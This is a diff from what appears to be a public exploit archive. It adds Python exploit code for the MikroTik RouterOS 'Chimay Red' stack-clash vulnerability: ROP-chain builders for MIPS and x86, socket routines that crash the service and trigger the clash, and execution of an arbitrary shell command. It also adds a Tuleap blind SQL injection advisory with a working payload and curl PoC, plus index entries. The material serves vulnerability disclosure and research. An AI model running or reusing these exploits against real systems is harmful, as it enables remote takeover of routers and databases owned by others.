ropChain = b''
|
||||||
|
shell_code = build_shellcode(shellCmd)
|
||||||
|
|
||||||
|
# 1) Stack finder gadget (to make stack pivot)
|
||||||
|
stack_finder = binRop.get_gadgets("addiu ?a0, ?sp, 0x18; lw ?ra, 0x???(?sp% jr ?ra;")[0]
|
||||||
|
"""
|
||||||
|
0x0040ae04: (ROS 6.38.4)
|
||||||
|
addiu $a0, $sp, 0x18 <--- needed action
|
||||||
|
lw $ra, 0x5fc($sp) <--- jump control [0x5fc, a lot of space for the shellcode!]
|
||||||
|
lw $s3, 0x5f8($sp)
|
||||||
|
lw $s2, 0x5f4($sp)
|
||||||
|
lw $s1, 0x5f0($sp)
|
||||||
|
lw $s0, 0x5ec($sp)
|
||||||
|
move $v0, $zero
|
||||||
|
jr $ra
|
||||||
|
"""
|
||||||
|
ropChain += struct.pack('>L', stack_finder.address)
|
||||||
|
# Action: addiu $a0, $sp, 0x600 + var_5E8 # a0 = stackpointer + 0x18
|
||||||
|
# Control Jump: jr 0x600 + var_4($sp)
|
||||||
|
# This gadget (moreover) allows us to reserve 1512 bytes inside the rop chain
|
||||||
|
# to store the shellcode (beacuse of: jr 0x600 + var_4($sp))
|
||||||
|
ropChain += b'B' * 0x18 # 0x600 - 0x5E8 = 0x18 (in the last 16 bytes of this offset the shell code will write the arguments for execve)
|
||||||
|
ropChain += shell_code # write the shell code in this "big" offset
|
||||||
|
|
||||||
|
next_gadget_offset = MyRopper.get_ra_offset(stack_finder) - 0x18 - len(shell_code)
|
||||||
|
if next_gadget_offset < 0: # check if shell command fits inside this big offset
|
||||||
|
raise Exception("Shell command too long! Max len: " + str(next_gadget_offset + len(shellCmd)) + " bytes")
|
||||||
|
|
||||||
|
ropChain += b'C' * next_gadget_offset # offset because of this: 0x600 + var_4($sp)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# 2) Copy a0 in v0 because of next gadget
|
||||||
|
mov_v0_a0 = binRop.get_gadgets("lw ?ra, %move ?v0, ?a0;% jr ?ra;")[0]
|
||||||
|
"""
|
||||||
|
0x00414E58: (ROS 6.38.4)
|
||||||
|
lw $ra, 0x24($sp); <--- jump control
|
||||||
|
lw $s2, 0x20($sp);
|
||||||
|
lw $s1, 0x1c($sp);
|
||||||
|
lw $s0, 0x18($sp);
|
||||||
|
move $v0, $a0; <--- needed action
|
||||||
|
jr $ra;
|
||||||
|
"""
|
||||||
|
ropChain += struct.pack('>L', mov_v0_a0.address)
|
||||||
|
# Gadget Action: move $v0, $a0 # v0 = a0
|
||||||
|
# Gadget Control: jr 0x28 + var_4($sp)
|
||||||
|
ropChain += b'D' * MyRopper.get_ra_offset(mov_v0_a0) # offset because of this: 0x28 + var_4($sp)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# 3) Jump to the stack (start shell code)
|
||||||
|
jump_v0 = binRop.get_gadgets("move ?t9, ?v0; jalr ?t9;")[0]
|
||||||
|
"""
|
||||||
|
0x00412540: (ROS 6.38.4)
|
||||||
|
move $t9, $v0; <--- jump control
|
||||||
|
jalr $t9; <--- needed action
|
||||||
|
"""
|
||||||
|
ropChain += struct.pack('>L', jump_v0.address)
|
||||||
|
# Gadget Action: jalr $t9 # jump v0
|
||||||
|
# Gadget Control: jalr $v0
|
||||||
|
|
||||||
|
return ropChain
|
||||||
|
|
||||||
|
def stackClash(ip, port, payload):
|
||||||
|
|
||||||
|
print("Opening 2 sockets")
|
||||||
|
|
||||||
|
# 1) Start 2 threads
|
||||||
|
# open 2 socket so 2 threads are created
|
||||||
|
s1 = makeSocket(ip, port) # socket 1, thread A
|
||||||
|
s2 = makeSocket(ip, port) # socket 2, thread B
|
||||||
|
|
||||||
|
print("Stack clash...")
|
||||||
|
|
||||||
|
# 2) Stack Clash
|
||||||
|
# 2.1) send post header with Content-Length bigger than AST_STACKSIZE to socket 1 (thread A)
|
||||||
|
socketSend(s1, makeHeader(AST_STACKSIZE + SKIP_SPACE + ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here)
|
||||||
|
|
||||||
|
# 2.2) send some bytes as post data to socket 1 (thread A)
|
||||||
|
socketSend(s1, b'A'*(SKIP_SPACE - ALIGN_SIZE - ADDRESS_SIZE)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved
|
||||||
|
|
||||||
|
# 2.3) send post header with Content-Length to reserve ROP space to socket 2 (thread B)
|
||||||
|
socketSend(s2, makeHeader(ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned
|
||||||
|
|
||||||
|
print("Sending payload")
|
||||||
|
|
||||||
|
# 3) Send ROP chain and shell code
|
||||||
|
socketSend(s1, payload)
|
||||||
|
|
||||||
|
print("Starting exploit")
|
||||||
|
|
||||||
|
# 4) Start ROP chain
|
||||||
|
s2.close() # close socket 2 to return from the function of thread B and start ROP chain
|
||||||
|
|
||||||
|
print("Done!")
|
||||||
|
|
||||||
|
def crash(ip, port):
|
||||||
|
print("Crash...")
|
||||||
|
s = makeSocket(ip, port)
|
||||||
|
socketSend(s, makeHeader(-1))
|
||||||
|
socketSend(s, b'A' * 0x1000)
|
||||||
|
s.close()
|
||||||
|
time.sleep(2.5) # www takes up to 3 seconds to restart
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
if len(sys.argv) == 5:
|
||||||
|
ip = sys.argv[1]
|
||||||
|
port = int(sys.argv[2])
|
||||||
|
binary = sys.argv[3]
|
||||||
|
shellCmd = sys.argv[4]
|
||||||
|
|
||||||
|
binRop = MyRopper(binary)
|
||||||
|
|
||||||
|
if binRop.get_arch() != 'MIPSBE':
|
||||||
|
raise Exception("Wrong architecture! You have to pass a mipsbe executable")
|
||||||
|
|
||||||
|
if binRop.contains_string("pthread_attr_setstacksize"):
|
||||||
|
AST_STACKSIZE = ROS_STACKSIZE
|
||||||
|
|
||||||
|
payload = build_payload(binRop, shellCmd)
|
||||||
|
|
||||||
|
crash(ip, port) # should make stack clash more reliable
|
||||||
|
stackClash(ip, port, payload)
|
||||||
|
else:
|
||||||
|
print("Usage: " + sys.argv[0] + " IP PORT binary shellcommand")
|
251
exploits/hardware/remote/44284.py
Executable file
251
exploits/hardware/remote/44284.py
Executable file
|
@ -0,0 +1,251 @@
|
||||||
|
#!/usr/bin/env python2
|
||||||
|
|
||||||
|
# Mikrotik Chimay Red Stack Clash Exploit by wsxarcher (based on BigNerd95 POC)
|
||||||
|
|
||||||
|
# tested on RouterOS 6.38.4 (x86)
|
||||||
|
|
||||||
|
# ASLR enabled on libs only
|
||||||
|
# DEP enabled
|
||||||
|
|
||||||
|
import socket, time, sys, struct
|
||||||
|
from pwn import *
|
||||||
|
import ropgadget
|
||||||
|
|
||||||
|
AST_STACKSIZE = 0x800000 # default stack size per thread (8 MB)
|
||||||
|
ROS_STACKSIZE = 0x20000 # newer version of ROS have a different stack size per thread (128 KB)
|
||||||
|
SKIP_SPACE = 0x1000 # 4 KB of "safe" space for the stack of thread 2
|
||||||
|
ROP_SPACE = 0x8000 # we can send 32 KB of ROP chain!
|
||||||
|
|
||||||
|
ALIGN_SIZE = 0x10 # alloca align memory with "content-length + 0x10 & 0xF" so we need to take it into account
|
||||||
|
ADDRESS_SIZE = 0x4 # we need to overwrite a return address to start the ROP chain
|
||||||
|
|
||||||
|
context(arch="i386", os="linux", log_level="WARNING")
|
||||||
|
|
||||||
|
gadgets = dict()
|
||||||
|
plt = dict()
|
||||||
|
strings = dict()
|
||||||
|
system_chunks = []
|
||||||
|
cmd_chunks = []
|
||||||
|
|
||||||
|
def makeHeader(num):
|
||||||
|
return bytes("POST /jsproxy HTTP/1.1\r\nContent-Length: ") + bytes(str(num)) + bytes("\r\n\r\n")
|
||||||
|
|
||||||
|
def makeSocket(ip, port):
|
||||||
|
s = socket.socket()
|
||||||
|
try:
|
||||||
|
s.connect((ip, port))
|
||||||
|
except:
|
||||||
|
print("Error connecting to socket")
|
||||||
|
sys.exit(-1)
|
||||||
|
print("Connected")
|
||||||
|
time.sleep(0.5)
|
||||||
|
return s
|
||||||
|
|
||||||
|
def socketSend(s, data):
|
||||||
|
try:
|
||||||
|
s.send(data)
|
||||||
|
except:
|
||||||
|
print("Error sending data")
|
||||||
|
sys.exit(-1)
|
||||||
|
print("Sent")
|
||||||
|
time.sleep(0.5)
|
||||||
|
|
||||||
|
def ropCall(function_address, *arguments):
|
||||||
|
|
||||||
|
payload = struct.pack('<L', function_address)
|
||||||
|
|
||||||
|
num_arg = len(arguments)
|
||||||
|
|
||||||
|
if num_arg > 0:
|
||||||
|
|
||||||
|
if num_arg == 1:
|
||||||
|
ret_gadget = gadgets['p']
|
||||||
|
elif num_arg == 2:
|
||||||
|
ret_gadget = gadgets['pp']
|
||||||
|
elif num_arg == 3:
|
||||||
|
ret_gadget = gadgets['ppp']
|
||||||
|
elif num_arg == 4:
|
||||||
|
ret_gadget = gadgets['pppp']
|
||||||
|
else:
|
||||||
|
raise
|
||||||
|
|
||||||
|
payload += struct.pack('<L', ret_gadget)
|
||||||
|
|
||||||
|
for arg in arguments:
|
||||||
|
payload += struct.pack('<L', arg)
|
||||||
|
|
||||||
|
return payload
|
||||||
|
|
||||||
|
# pwntools filters out JOP gadgets
|
||||||
|
# https://github.com/Gallopsled/pwntools/blob/5d537a6189be5131e63144e20556302606c5895e/pwnlib/rop/rop.py#L1074
|
||||||
|
def ropSearchJmp(elf, instruction):
|
||||||
|
oldargv = sys.argv
|
||||||
|
sys.argv = ['ropgadget', '--binary', elf.path, '--only', 'jmp']
|
||||||
|
args = ropgadget.args.Args().getArgs()
|
||||||
|
core = ropgadget.core.Core(args)
|
||||||
|
core.do_binary(elf.path)
|
||||||
|
core.do_load(0)
|
||||||
|
|
||||||
|
sys.argv = oldargv
|
||||||
|
|
||||||
|
for gadget in core._Core__gadgets:
|
||||||
|
address = gadget['vaddr'] - elf.load_addr + elf.address
|
||||||
|
if gadget['gadget'] == instruction:
|
||||||
|
return address
|
||||||
|
|
||||||
|
raise
|
||||||
|
|
||||||
|
def loadOffsets(binary, shellCmd):
|
||||||
|
elf = ELF(binary)
|
||||||
|
rop = ROP(elf)
|
||||||
|
|
||||||
|
if len([_ for _ in elf.search("pthread_attr_setstacksize")]) > 0:
|
||||||
|
global AST_STACKSIZE
|
||||||
|
AST_STACKSIZE = ROS_STACKSIZE
|
||||||
|
|
||||||
|
# www PLT symbols
|
||||||
|
plt["strncpy"] = elf.plt['strncpy']
|
||||||
|
plt["dlsym"] = elf.plt['dlsym']
|
||||||
|
|
||||||
|
# Gadgets to clean the stack from arguments
|
||||||
|
gadgets['pppp'] = rop.search(regs=["ebx", "esi", "edi", "ebp"]).address
|
||||||
|
gadgets['ppp'] = rop.search(regs=["ebx", "ebp"], move=(4*4)).address
|
||||||
|
gadgets['pp'] = rop.search(regs=["ebx", "ebp"]).address
|
||||||
|
gadgets['p'] = rop.search(regs=["ebp"]).address
|
||||||
|
|
||||||
|
# Gadget to jump on the result of dlsym (address of system)
|
||||||
|
gadgets['jeax'] = ropSearchJmp(elf, "jmp eax")
|
||||||
|
|
||||||
|
system_chunks.extend(searchStringChunksLazy(elf, "system\x00"))
|
||||||
|
cmd_chunks.extend(searchStringChunksLazy(elf, shellCmd + "\x00"))
|
||||||
|
|
||||||
|
# get the address of the first writable segment to store strings
|
||||||
|
writable_address = elf.writable_segments[0].header.p_paddr
|
||||||
|
|
||||||
|
strings['system'] = writable_address
|
||||||
|
strings['cmd'] = writable_address + 0xf
|
||||||
|
|
||||||
|
def generateStrncpyChain(dst, chunks):
|
||||||
|
chain = ""
|
||||||
|
offset = 0
|
||||||
|
for (address, length) in chunks:
|
||||||
|
chain += ropCall(plt["strncpy"], dst + offset, address, length)
|
||||||
|
offset += length
|
||||||
|
|
||||||
|
return chain
|
||||||
|
|
||||||
|
# only search for single chars
|
||||||
|
def searchStringChunksLazy(elf, string):
|
||||||
|
chunks = []
|
||||||
|
for b in string:
|
||||||
|
res = [_ for _ in elf.search(b)]
|
||||||
|
if len(res) > 0:
|
||||||
|
chunks.append((res[0], 1))
|
||||||
|
else:
|
||||||
|
raise
|
||||||
|
|
||||||
|
if len(string) != len(chunks):
|
||||||
|
raise
|
||||||
|
|
||||||
|
return chunks
|
||||||
|
|
||||||
|
# [bugged, some problem with dots, not used]
|
||||||
|
# search chunks of string
|
||||||
|
def searchStringChunks(elf, string):
|
||||||
|
chunks = []
|
||||||
|
total = len(string)
|
||||||
|
|
||||||
|
if string == "":
|
||||||
|
raise
|
||||||
|
|
||||||
|
looking = string
|
||||||
|
|
||||||
|
while string != "":
|
||||||
|
results = [_ for _ in elf.search(looking)]
|
||||||
|
|
||||||
|
if len(results) > 0:
|
||||||
|
chunks.append((results[0], len(looking)))
|
||||||
|
string = string[len(looking):]
|
||||||
|
looking = string
|
||||||
|
else: # search failed
|
||||||
|
looking = looking[:-1] # search again removing last char
|
||||||
|
|
||||||
|
check_length = 0
|
||||||
|
for (address, length) in chunks:
|
||||||
|
check_length = check_length + length
|
||||||
|
|
||||||
|
if check_length == total:
|
||||||
|
return chunks
|
||||||
|
else:
|
||||||
|
raise
|
||||||
|
|
||||||
|
def buildROP(binary, shellCmd):
|
||||||
|
loadOffsets(binary, shellCmd)
|
||||||
|
|
||||||
|
# ROP chain
|
||||||
|
exploit = generateStrncpyChain(strings['system'], system_chunks) # w_segment = "system"
|
||||||
|
exploit += generateStrncpyChain(strings['cmd'], cmd_chunks) # w_segment = "bash cmd"
|
||||||
|
exploit += ropCall(plt["dlsym"], 0, strings['system']) # dlsym(0, "system"), eax = libc.system
|
||||||
|
exploit += ropCall(gadgets['jeax'], strings['cmd']) # system("cmd")
|
||||||
|
|
||||||
|
# The server is automatically restarted after 3 secs, so we make it crash with a random address
|
||||||
|
exploit += struct.pack('<L', 0x13371337)
|
||||||
|
|
||||||
|
return exploit
|
||||||
|
|
||||||
|
def stackClash(ip, port, ropChain):
|
||||||
|
|
||||||
|
print("Opening 2 sockets")
|
||||||
|
|
||||||
|
# 1) Start 2 threads
|
||||||
|
# open 2 socket so 2 threads are created
|
||||||
|
s1 = makeSocket(ip, port) # socket 1, thread A
|
||||||
|
s2 = makeSocket(ip, port) # socket 2, thread B
|
||||||
|
|
||||||
|
print("Stack clash...")
|
||||||
|
|
||||||
|
# 2) Stack Clash
|
||||||
|
# 2.1) send post header with Content-Length bigger than AST_STACKSIZE to socket 1 (thread A)
|
||||||
|
socketSend(s1, makeHeader(AST_STACKSIZE + SKIP_SPACE + ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here)
|
||||||
|
|
||||||
|
# 2.2) send some bytes as post data to socket 1 (thread A)
|
||||||
|
socketSend(s1, b'A'*(SKIP_SPACE - ALIGN_SIZE - ADDRESS_SIZE)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved
|
||||||
|
|
||||||
|
# 2.3) send post header with Content-Length to reserve ROP space to socket 2 (thread B)
|
||||||
|
socketSend(s2, makeHeader(ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned
|
||||||
|
|
||||||
|
print("Sending payload")
|
||||||
|
|
||||||
|
# 3) Send ROP chain
|
||||||
|
socketSend(s1, ropChain) # thread A writes the ROP chain in the stack of thread B
|
||||||
|
|
||||||
|
print("Starting exploit")
|
||||||
|
|
||||||
|
# 4) Start ROP chain
|
||||||
|
s2.close() # close socket 2 to return from the function of thread B and start ROP chain
|
||||||
|
|
||||||
|
print("Done!")
|
||||||
|
|
||||||
|
def crash(ip, port):
|
||||||
|
print("Crash...")
|
||||||
|
s = makeSocket(ip, port)
|
||||||
|
socketSend(s, makeHeader(-1))
|
||||||
|
socketSend(s, b'A' * 0x1000)
|
||||||
|
s.close()
|
||||||
|
time.sleep(2.5) # www takes up to 3 seconds to restart
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
if len(sys.argv) == 5:
|
||||||
|
ip = sys.argv[1]
|
||||||
|
port = int(sys.argv[2])
|
||||||
|
binary = sys.argv[3]
|
||||||
|
shellCmd = sys.argv[4]
|
||||||
|
|
||||||
|
print("Building ROP chain...")
|
||||||
|
ropChain = buildROP(binary, shellCmd)
|
||||||
|
print("The ROP chain is " + str(len(ropChain)) + " bytes long (" + str(ROP_SPACE) + " bytes available)")
|
||||||
|
|
||||||
|
crash(ip, port) # should make stack clash more reliable
|
||||||
|
stackClash(ip, port, ropChain)
|
||||||
|
else:
|
||||||
|
print("Usage: ./StackClashROPsystem.py IP PORT binary shellcommand")
|
|
@ -35,7 +35,7 @@ Steps to Reproduce:
|
||||||
|
|
||||||
1. Login with a valid credentials of an Editor
|
1. Login with a valid credentials of an Editor
|
||||||
2. Select Files option from the Drop-down menu of Content
|
2. Select Files option from the Drop-down menu of Content
|
||||||
3. Upload a file with PHP (uppercase)extension containing the below code:
|
3. Upload a file with PHP (uppercase)extension containing the below code: (EDB Note: You can also use .php7)
|
||||||
|
|
||||||
<?php
|
<?php
|
||||||
|
|
||||||
|
|
110
exploits/php/webapps/44286.txt
Normal file
110
exploits/php/webapps/44286.txt
Normal file
|
@ -0,0 +1,110 @@
|
||||||
|
===============================================================================
|
||||||
|
title: Tuleap SQL Injection
|
||||||
|
case id: CM-2018-01
|
||||||
|
product: Tuleap version 9.17.99.189
|
||||||
|
vulnerability type: Blind SQL injection - time based
|
||||||
|
severity: High
|
||||||
|
found: 2018-02-24
|
||||||
|
by: Cristiano Maruti (@cmaruti)
|
||||||
|
===============================================================================
|
||||||
|
|
||||||
|
[EXECUTIVE SUMMARY]
|
||||||
|
|
||||||
|
Enalean Tuleap is a project management system for application lifecycles
|
||||||
|
management, agile development and design projects, requirement management, IT
|
||||||
|
services management, and so on. The analysis discovered a time-based blind SQL
|
||||||
|
injection vulnerability (OTG-INPVAL-005) in the tracker functionality of
|
||||||
|
Tuleap software engineering platform. A malicious user can inject arbitrary
|
||||||
|
SQL commands to the application. The vulnerability lies in the project tracker
|
||||||
|
service search functionality; depending on project visibility successful
|
||||||
|
exploitation may or may not require user authentication. A successful attack
|
||||||
|
can read, modify or delete data from the database or, depending on the
|
||||||
|
privilege of the user (default: restricted) and the database engine in use
|
||||||
|
(default: MySQL), execute arbitrary commands on the underlying system.
|
||||||
|
|
||||||
|
[VULNERABLE VERSIONS]
|
||||||
|
|
||||||
|
The following version of the Tuleap software was affected by the
|
||||||
|
vulnerability; previous versions may be vulnerable as well:
|
||||||
|
- Tuleap version 9.17.99.189
|
||||||
|
|
||||||
|
[TECHNICAL DETAILS]
|
||||||
|
|
||||||
|
It is possible to reproduce the vulnerability following these steps:
|
||||||
|
1. Open the tracker service in a publicly visible project
|
||||||
|
2. Leave all the fields empty and submit the search form while logging the
|
||||||
|
request with the help of an application proxy like Burp or ZAP
|
||||||
|
3. Copy the previous request and edit the "criteria[499][values][]" field in
|
||||||
|
the request body with the "(select(0)from(select(sleep(3)))a)/**/" payload
|
||||||
|
4. Send the request to the application
|
||||||
|
5. Application will respond with a three second delay
|
||||||
|
|
||||||
|
Below a full transcript of the HTTP request used to raise the vulnerability
|
||||||
|
and also a cURL one liner to highlight the induced delay in the application
|
||||||
|
response.
|
||||||
|
|
||||||
|
HTTP Request
|
||||||
|
-------------------------------------------------------------------------------
|
||||||
|
POST /plugins/tracker/?tracker=16 HTTP/1.1
|
||||||
|
Host: 192.168.137.130
|
||||||
|
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
|
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Referer: https://192.168.137.130/plugins/tracker/?tracker=16
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Content-Length: 278
|
||||||
|
Cookie: __Host-TULEAP_PHPSESSID=r7d1mk87sfn9kadlkh64h25354
|
||||||
|
Connection: close
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
|
||||||
|
report=124&criteria%5B504%5D=&criteria%5B489%5D=&criteria%5B495%5D%5Bvalues%5D=
|
||||||
|
&criteria%5B495%5D%5Bvalues%5D%5B%5D=&criteria%5B499%5D%5Bvalues%5D=
|
||||||
|
&criteria%5B499%5D%5Bvalues%5D%5B%5D=(select(0)from(select(sleep(3)))a)/**/
|
||||||
|
&additional_criteria%5Bcomment%5D=&tracker_query_submit=
|
||||||
|
-------------------------------------------------------------------------------
|
||||||
|
cURL PoC
|
||||||
|
-------------------------------------------------------------------------------
|
||||||
|
# time curl -k -X POST -d @sql.txt -H 'Cookie: __Host-TULEAP_PHPSESSID=<VALID>'
|
||||||
|
https://192.168.137.130/plugins/tracker/?tracker=16
|
||||||
|
|
||||||
|
[OUTPUT TRUNCATED]
|
||||||
|
</script> </body>
|
||||||
|
</html>
|
||||||
|
real 0m3.117s
|
||||||
|
user 0m0.033s
|
||||||
|
sys 0m0.021s
|
||||||
|
|
||||||
|
# cat sql.txt
|
||||||
|
report=124&criteria%5B504%5D=&criteria%5B489%5D=&criteria%5B495%5D%5Bvalues%5D=
|
||||||
|
&criteria%5B495%5D%5Bvalues%5D%5B%5D=&criteria%5B499%5D%5Bvalues%5D=
|
||||||
|
&criteria%5B499%5D%5Bvalues%5D%5B%5D=(select(0)from(select(sleep(3)))a)/**/
|
||||||
|
&additional_criteria%5Bcomment%5D=&tracker_query_submit=
|
||||||
|
-------------------------------------------------------------------------------
|
||||||
|
A copy of the report with technical details about the vulnerability I have
|
||||||
|
identified is available at:
|
||||||
|
https://github.com/cmaruti/reports/blob/master/tuleap.pdf
|
||||||
|
|
||||||
|
[VULNERABILITY REFERENCE]
|
||||||
|
|
||||||
|
The following CVE ID was allocated to track the vulnerabilities: CVE-2018-7538
|
||||||
|
|
||||||
|
[DISCLOSURE TIMELINE]
|
||||||
|
|
||||||
|
2018-02-26 Vulnerability submitted to vendor through e-mail.
|
||||||
|
Vendor requested
|
||||||
|
more info and acknowledged the problem later.
|
||||||
|
2018-02-27 Researcher requested to allocate a CVE number.
|
||||||
|
2018-02-27 Vendor released a fix for the reported issue.
|
||||||
|
2018-03-08 Researcher requested to publicly disclose the issue; public
|
||||||
|
coordinated disclosure.
|
||||||
|
|
||||||
|
[SOLUTION]
|
||||||
|
|
||||||
|
Enalean released an update to fix the vulnerability (Tuleap 9.18 or later).
|
||||||
|
Please see the below link for further information released by the vendor:
|
||||||
|
- https://tuleap.net/plugins/tracker/?aid=11192
|
||||||
|
|
||||||
|
[REPORT URL]
|
||||||
|
|
||||||
|
https://github.com/cmaruti/reports/blob/master/tuleap.pdf
|
|
@ -9588,6 +9588,7 @@ id,file,description,date,author,type,platform,port
|
||||||
44269,exploits/windows/local/44269.txt,"Chrome 35.0.1916.153 - Sandbox Escape / Command Execution",2017-10-14,649,local,windows,
|
44269,exploits/windows/local/44269.txt,"Chrome 35.0.1916.153 - Sandbox Escape / Command Execution",2017-10-14,649,local,windows,
|
||||||
44270,exploits/windows/local/44270.txt,"WebLog Expert Enterprise 9.4 - Authentication Bypass",2018-03-09,hyp3rlinx,local,windows,
|
44270,exploits/windows/local/44270.txt,"WebLog Expert Enterprise 9.4 - Authentication Bypass",2018-03-09,hyp3rlinx,local,windows,
|
||||||
44279,exploits/linux/local/44279.py,"SC 7.16 - Stack-Based Buffer Overflow",2018-03-12,"Juan Sacco",local,linux,
|
44279,exploits/linux/local/44279.py,"SC 7.16 - Stack-Based Buffer Overflow",2018-03-12,"Juan Sacco",local,linux,
|
||||||
|
44282,exploits/hardware/local/44282.txt,"Sony Playstation 4 (PS4) 4.55 < 5.50 - WebKit Code Execution (PoC)",2018-03-10,qwertyoruiop,local,hardware,
|
||||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||||
|
@ -10596,7 +10597,7 @@ id,file,description,date,author,type,platform,port
|
||||||
6328,exploits/solaris/remote/6328.c,"Sun Solaris 10 - snoop(1M) Utility Remote Command Execution",2008-08-29,Andi,remote,solaris,
|
6328,exploits/solaris/remote/6328.c,"Sun Solaris 10 - snoop(1M) Utility Remote Command Execution",2008-08-29,Andi,remote,solaris,
|
||||||
6334,exploits/windows/remote/6334.html,"Friendly Technologies - Read/Write Registry/Read Files",2008-08-30,spdr,remote,windows,
|
6334,exploits/windows/remote/6334.html,"Friendly Technologies - Read/Write Registry/Read Files",2008-08-30,spdr,remote,windows,
|
||||||
6355,exploits/windows/remote/6355.txt,"Google Chrome 0.2.149.27 - Automatic File Download",2008-09-03,nerex,remote,windows,
|
6355,exploits/windows/remote/6355.txt,"Google Chrome 0.2.149.27 - Automatic File Download",2008-09-03,nerex,remote,windows,
|
||||||
6366,exploits/hardware/remote/6366.c,"MicroTik RouterOS 3.13 - SNMP write (Set request)",2008-09-05,ShadOS,remote,hardware,
|
6366,exploits/hardware/remote/6366.c,"MikroTik RouterOS 3.13 - SNMP write (Set request)",2008-09-05,ShadOS,remote,hardware,
|
||||||
6367,exploits/windows/remote/6367.txt,"Google Chrome 0.2.149.27 - 'SaveAs' Remote Buffer Overflow",2008-09-05,SVRT,remote,windows,
|
6367,exploits/windows/remote/6367.txt,"Google Chrome 0.2.149.27 - 'SaveAs' Remote Buffer Overflow",2008-09-05,SVRT,remote,windows,
|
||||||
6387,exploits/windows/remote/6387.rb,"CitectSCADA ODBC Server - Remote Stack Buffer Overflow (Metasploit)",2008-09-05,"Kevin Finisterre",remote,windows,2022
|
6387,exploits/windows/remote/6387.rb,"CitectSCADA ODBC Server - Remote Stack Buffer Overflow (Metasploit)",2008-09-05,"Kevin Finisterre",remote,windows,2022
|
||||||
6407,exploits/windows/remote/6407.c,"Microworld Mailscan 5.6.a - Password Reveal",2008-09-09,SlaYeR,remote,windows,
|
6407,exploits/windows/remote/6407.c,"Microworld Mailscan 5.6.a - Password Reveal",2008-09-09,SlaYeR,remote,windows,
|
||||||
|
@ -14294,7 +14295,7 @@ id,file,description,date,author,type,platform,port
|
||||||
27630,exploits/linux/remote/27630.txt,"Plone 2.x - MembershipTool Access Control Bypass",2006-04-12,MJ0011,remote,linux,
|
27630,exploits/linux/remote/27630.txt,"Plone 2.x - MembershipTool Access Control Bypass",2006-04-12,MJ0011,remote,linux,
|
||||||
27636,exploits/multiple/remote/27636.txt,"Adobe Document Server 6.0 Extensions - 'ads-readerext?actionID' Cross-Site Scripting",2006-04-13,"Tan Chew Keong",remote,multiple,
|
27636,exploits/multiple/remote/27636.txt,"Adobe Document Server 6.0 Extensions - 'ads-readerext?actionID' Cross-Site Scripting",2006-04-13,"Tan Chew Keong",remote,multiple,
|
||||||
27637,exploits/multiple/remote/27637.txt,"Adobe Document Server 6.0 Extensions - 'AlterCast?op' Cross-Site Scripting",2006-04-13,"Tan Chew Keong",remote,multiple,
|
27637,exploits/multiple/remote/27637.txt,"Adobe Document Server 6.0 Extensions - 'AlterCast?op' Cross-Site Scripting",2006-04-13,"Tan Chew Keong",remote,multiple,
|
||||||
28056,exploits/hardware/remote/28056.txt,"Mikrotik RouterOS sshd (ROSSSH) - Unauthenticated Remote Heap Corruption",2013-09-03,kingcope,remote,hardware,
|
28056,exploits/hardware/remote/28056.txt,"MikroTik RouterOS - sshd (ROSSSH) Unauthenticated Remote Heap Corruption",2013-09-03,kingcope,remote,hardware,
|
||||||
27703,exploits/windows/remote/27703.py,"PCMan FTP Server 2.07 - 'STOR' Remote Buffer Overflow",2013-08-19,Polunchis,remote,windows,
|
27703,exploits/windows/remote/27703.py,"PCMan FTP Server 2.07 - 'STOR' Remote Buffer Overflow",2013-08-19,Polunchis,remote,windows,
|
||||||
27704,exploits/windows/remote/27704.rb,"Cogent DataHub - HTTP Server Buffer Overflow (Metasploit)",2013-08-19,Metasploit,remote,windows,
|
27704,exploits/windows/remote/27704.rb,"Cogent DataHub - HTTP Server Buffer Overflow (Metasploit)",2013-08-19,Metasploit,remote,windows,
|
||||||
27705,exploits/multiple/remote/27705.rb,"Java - 'storeImageArray()' Invalid Array Indexing (Metasploit)",2013-08-19,Metasploit,remote,multiple,
|
27705,exploits/multiple/remote/27705.rb,"Java - 'storeImageArray()' Invalid Array Indexing (Metasploit)",2013-08-19,Metasploit,remote,multiple,
|
||||||
|
@ -16321,6 +16322,8 @@ id,file,description,date,author,type,platform,port
|
||||||
44245,exploits/hardware/remote/44245.rb,"NETGEAR - 'TelnetEnable' Magic Packet (Metasploit)",2018-03-05,Metasploit,remote,hardware,23
|
44245,exploits/hardware/remote/44245.rb,"NETGEAR - 'TelnetEnable' Magic Packet (Metasploit)",2018-03-05,Metasploit,remote,hardware,23
|
||||||
44253,exploits/hardware/remote/44253.py,"Tenda AC15 Router - Unauthenticated Remote Code Execution",2018-02-14,"Tim Carrington",remote,hardware,
|
